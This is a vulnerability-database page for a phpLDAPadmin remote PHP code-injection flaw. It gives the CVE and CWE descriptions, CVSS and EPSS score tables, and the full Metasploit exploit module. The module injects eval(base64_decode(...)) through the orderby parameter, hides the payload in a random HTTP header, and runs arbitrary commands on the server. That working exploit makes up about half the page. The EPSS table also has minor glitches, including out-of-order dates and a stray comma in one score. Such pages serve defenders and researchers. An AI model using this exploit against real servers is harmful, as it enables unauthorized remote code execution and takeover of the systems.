CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The masort function in lib/functions.php in phpLDAPadmin 1.2.x before 1.2.2 allows remote attackers to execute arbitrary PHP code via the orderby parameter (aka sortby variable) in a query_engine action to cmd.php, as exploited in the wild in October 2011.
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
81.55%
–
–
2022-04-17
–
–
81.55%
–
–
2022-10-09
–
–
80.66%
–
–
2022-10-16
–
–
80.66%
–
–
2022-12-25
–
–
80.1%
–
–
2023-01-08
–
–
80.1%
–
–
2023-03-12
–
–
–
33.53%
–
2023-04-02
–
–
–
32.61%
–
2023-06-04
–
–
–
37.34%
–
2023-11-26
–
–
–
36.38%
–
2024-06-02
–
–
–
36.38%
–
2024-10-06
–
–
–
42.11%
–
2024-12-22
–
–
–
87.43%
–
2025-02-16
–
–
–
86.67%
–
2025-01-19
–
–
–
87.43%
–
2025-02-16
–
–
–
86.67%
–
2025-03-18
–
–
–
–
83.23%
2025-03-18
–
–
–
–
83.23,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: phpldapadmin_query_engine.rb 14060 2011-10-25 05:25:39Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Payload::Php
def initialize(info = {})
super(update_info(info,
'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
'Description' => %q{
This module exploits a vulnerability in the lib/functions.php that allows
attackers input parsed directly to the create_function() php function. A patch was
issued that uses a whitelist regex expression to check the user supplied input
before being parsed to the create_function() call.
},
'Author' =>
[
'EgiX <n0b0d13s[at]gmail-com>', # original discovery/poc
'mr_me <steventhomasseeley[at]gmail-com>', # msf
'TecR0c <roccogiovannicalvi[at]gmail-com >', # msf
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 14060 $',
'References' =>
[
['BID', '50331'],
['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
['URL', 'http://www.exploit-db.com/exploits/18021/'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000,
'Keys' => ['php'],
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Oct 24 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
], self.class)
end
def check
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'index.php'
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri,
}, 3)
if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def get_session
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'index.php'
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri,
}, 3)
if (not res.headers['Set-Cookie'])
print_error("Could not generate a valid session")
return
end
return res.headers['Set-Cookie']
end
def cleanup
# We may not be using php/exe again, so clear the CMD option
if datastore['CMD']
datastore['CMD'] = nil
end
end
def exploit
# if we are using the exec CMD stager
# important to check which php functions are disabled
if datastore['CMD']
cmd = Rex::Text.encode_base64(datastore['CMD'])
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
out = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
shell = <<-END_OF_PHP_CODE
$c = base64_decode("#{cmd}");
#{php_preamble({:disabled_varname => dis})}
#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis, :output_varname => out})}
echo #{out};
END_OF_PHP_CODE
p = Rex::Text.encode_base64(Rex::Text.compress(shell))
else
p = Rex::Text.encode_base64(payload.encoded)
end
# Generate some random strings
hidden_header = rand_text_alpha_upper(6)
fake_func_name = rand_text_alpha_upper(2)
# build sttack string
php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
session = get_session
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'cmd.php'
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'data' => data,
'headers' =>
{
"#{hidden_header}" => p,
'Cookie' => session,
'Connection' => 'Close',
},
}, 3)
print_status("%s" % res.body) if datastore['CMD']
end
end
Products Mentioned
Configuraton 0
Phpldapadmin_project>>Phpldapadmin >> Version 1.2.0